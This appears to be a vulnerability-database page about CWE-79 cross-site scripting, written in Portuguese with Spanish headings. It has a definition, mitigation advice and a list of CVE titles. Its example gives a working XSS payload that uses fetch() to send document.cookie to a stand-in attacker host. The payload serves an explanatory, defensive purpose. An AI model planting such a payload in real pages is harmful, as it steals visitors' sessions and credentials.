Fallos del tipo CWE-79

30.539 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64094MEDIUMDNN vulnerable to stored cross-site-scripting (XSS) via SVG uploadEPSS 0.2%CVE-2026-103520MEDIUMHivePress <= 1.7.31 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Listing Attribute Value in Administrator-configured HTML FormatEPSS 0.2%CVE-2026-97077HIGHWordPress Ad Inserter plugin <= 2.8.18 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-5506MEDIUMWavr <= 0.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-95515HIGHWordPress Ninja Forms plugin <= 3.15.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-7390MEDIUMSourceCodester Pharmacy Sales and Inventory System index.php customer cross site scriptingEPSS 0.2%CVE-2026-5711MEDIUMPost Blocks & Tools <= 1.3.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'sliderStyle' Block AttributeEPSS 0.2%CVE-2026-114229—Apache OFBiz: Reflected Cross-site Scripting in Catalog Image Viewer Enables Script Execution in a User SessionEPSS 0.2%CVE-2026-34206MEDIUMCaptcha Protect: Reflected XSS in challenge page via unsanitized destination rendered with text/templateEPSS 0.2%CVE-2025-13056MEDIUMA user with elevated privileges can inject XSS in the Administration ACL Menus configuration pageEPSS 0.2%CVE-2026-93656MEDIUMUser Profile Builder <= 4.0.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Avatar FieldEPSS 0.2%CVE-2023-5648MEDIUMIn Brocade ASCG before Brocade ASCG v3.0, several security-related HTTP Headers were missing in various Brocade ASCG URL paths, aiding unautEPSS 0.2%CVE-2025-3153MEDIUMConcrete CMS version 9 below 9.4.0RC2 and versions below 8.5.20 - CSRF and XSS in Concrete CMS Custom Address attributeEPSS 0.2%CVE-2026-96836HIGHWordPress Parsi Date plugin <= 6.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-110017MEDIUMQuick PayPal Payments: Payment Button & Form <= 6.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form' Shortcode AttributeEPSS 0.2%CVE-2025-43742MEDIUMA reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.QEPSS 0.2%CVE-2026-12241MEDIUMAdvanced Woo Labels – Product Labels & Badges for WooCommerce <= 2.51 - Improper Authorization to Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-6809MEDIUMSocial Post Embed <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Threads EmbedEPSS 0.2%CVE-2026-42650HIGHWordPress AutomatorWP plugin <= 5.6.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-6800MEDIUMFastBots <= 1.0.12 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin SettingsEPSS 0.2%